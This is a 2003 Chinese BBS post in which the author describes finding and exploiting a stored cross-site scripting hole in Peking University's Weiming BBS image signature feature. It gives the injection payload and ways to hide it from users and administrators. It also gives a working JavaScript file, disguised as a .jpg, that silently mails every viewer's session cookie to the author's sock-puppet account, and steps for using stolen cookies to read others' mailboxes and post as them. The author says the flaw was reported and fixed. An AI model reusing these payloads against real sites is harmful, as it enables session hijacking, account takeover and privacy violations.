未名BBS的www一个漏洞的利用

来源:互联网 发布:淘宝专业版收费 编辑:程序博客网 时间:2024/05/01 20:34

未名BBS的www一个漏洞的利用(原创)




1.漏洞的发现



我们知道在telnet方式下可以设置图片签名档,设置格式就是:
<img>图片的URL</img>

这样当你设置好了之后,当你发表文章后,在www方式下,相应的网页中就会自动生成以下H
TML代码:
<img src="图片的URL" border=0>

这个原理相信大家都明白,但是如果仔细推敲和发挥想像就会做到出人意料的效果:
试想,如果我的图片签名档这样设置:
<img>"> 任何代码 <q "</img>

那么在www方式下你的文章所在的页面中相应的HTML代码就是:
<img src=""> 任何代码 <q "" border=0>

现在你会意识到什么了?那就是我们可以在未名BBS的www方式下加入任何代码(浏览器支持
的任何代码)!!!于是我们就可以充分发挥我们的想

像来做我们想玩的东西。



2.漏洞的利用技巧



在我们准备动手之前,可以先做一个简单测试:
将签名档设为: <img>"> alert() <q "</img>
然后到test板发一篇文章。

这样,在www下点击你的文章时就会看到弹出alert()窗口。
但是很快你就会发现两个破绽:

1) 图片签名档由于img的src="",找不到路径,因而出现了带叉的图片空框,这有可能被细
心的人注意。
2) 要是在telnet下看你的文章时,就会发现你的签名档是一大堆代码,这更会引起管理员的
怀疑的。

所以,接下来我们要设法解决这些问题:
对于第一个问题,可以将签名档设置成:
<img>" style="display:none;"> 任何代码 <q "</img>
这样图片就不显示出来了。
对于第二个问题,可以利用“障眼法”,只需将签名档设置成:

一个文字签名档  足够长的空格  <img>" style="display:none;"> 任何代码 <q "</img>

这样一切工作就做得很隐蔽了,我们就可以放心大胆地去玩了。



3.漏洞的一个可怕的利用——用别人id发文、进入别人信箱



也许有人会利用代码搞点恶作剧或加入一些恶性代码满足某种目的,但毕竟这些都还不会带
来很严重的后果,而且也并不能发挥你的多少想像力。
其实,一个更可怕的企图是,能不能利用代码去获取用户的资料?!!

我的一个思路就是,先用代码去获取用户(只要这个id在www下浏览了你的含有那段代码的文
章)机器上的cookie——里面有用户的相关资料,

然后再利用用户的这些资料去以用户的站内信箱发信到我(最好是我的一个马甲)的站内信
箱里,信件内容就是那个cookie里的用户资料。

有了这个想法,实现它就不那么困难了(“只有想不到的,没有做不到的”,呵呵)

下面就是我“作案”的全过程:

首先,制作一个js文件,为了隐蔽起见,将文件扩展名换成.jpg,如aaa.jpg
其内容如下:

document.write('<iframe id=sendit width=1 height=1></iframe>'); //做一个隐藏的iframe

//****自动将cookie发信到我的马甲MaJia信箱里***********************

content='<form id=fm method=POST action="/cgi-bin/bbssdm">'; 
content+='<input type=text name=to value="MaJia">';  //收信人是MaJia
content+='<input type=radio name=signature value=1 checked>';
content+='<input type=text name=title value="cookies">';
content+='';
content+='';
//下面是利用用户的cookie信息得到用户的发信权限,并将信件内容设置为其cookie
//说明:用户cookie的内容是:代号; ID名; 加密后的识别码
//如某个id的cookie: pid=15325; id2=IDName; code2=$1$UMqhPaNK$PbEo3U2lChNJ48lgam
B7Y1
//利用ID名和加密后的识别码就可以进入这个id的信箱或用这个id发文(见后)
content+='<textarea name=text value='+parent.left.document.cookie+'>'+parent.lef
t.document.cookie+'</textarea>';
content+='</form>';

//******************************************************************

content+='<script>fm.submit();</script>';  //发送
sendit.document.write(content);


然后,在test板发文,将上面的aaa.jpg(实际上js文件)粘贴为附件,记住它的url地址。
然后再删掉这个文章——但不用担心,附件仍然在

那里呢(不知道这是不是未名的另一个漏洞)。

接着,在telnet下将签名档设置成:

一个文字签名档  足够长的空格  <img>" style="display:none;"> <script src="aaa.jpg所在的url地址"> <q "</img>

于是,大功告成!下面你就可以在人多的版面上多发几篇引人注意文章,最好有图片附件—
—这样就能吸引别人到www下去看你的文章。

然后,泡上一杯咖啡,听听音乐,过不了多久,你就会在你的马甲的信箱里收到几十甚至上
百封(但有重复)别人送来的他们自己的信息。

进入别人信箱的方法:
首先要确保对方id正在线上,然后你在你自己的www下的点击“发邮件”,然后查看原文件,
另存为mail.htm,然后将form中的一些参数做些设

置就行了,比如相对路径改称绝对的,相应的value值替换成别人id的。然后利用这个mail.
htm给自己发信,发信之后,mail.htm所在的浏览器窗口就自动切换到了别人的信箱里去了,于是,哼哼...

利用别人id发文的方法类似,不再多说了。



4.特别声明



这个漏洞是我在今年1月初发现的,自己的确做了上述的试验,但也就一两次,进入别人信箱
后很快就退出了,没有对别人的邮箱作任何破坏,

也没有纪录和泄露任何人的隐私。

发现这个漏洞后,我及时报告给了技术总监,现在这个漏洞已经完全修复了,所以我才将此
文公开出来。


最后,希望未名尽快完善www方式,毕竟目前的小BUG实在太多了。

 

原发表于:

发信人: neweroica (新英雄), 信区: Homepage
标  题: 未名BBS的www一个漏洞的利用(原创)
发信站: 北大未名站 (2003年02月22日12:27:36 星期六) , 站内信件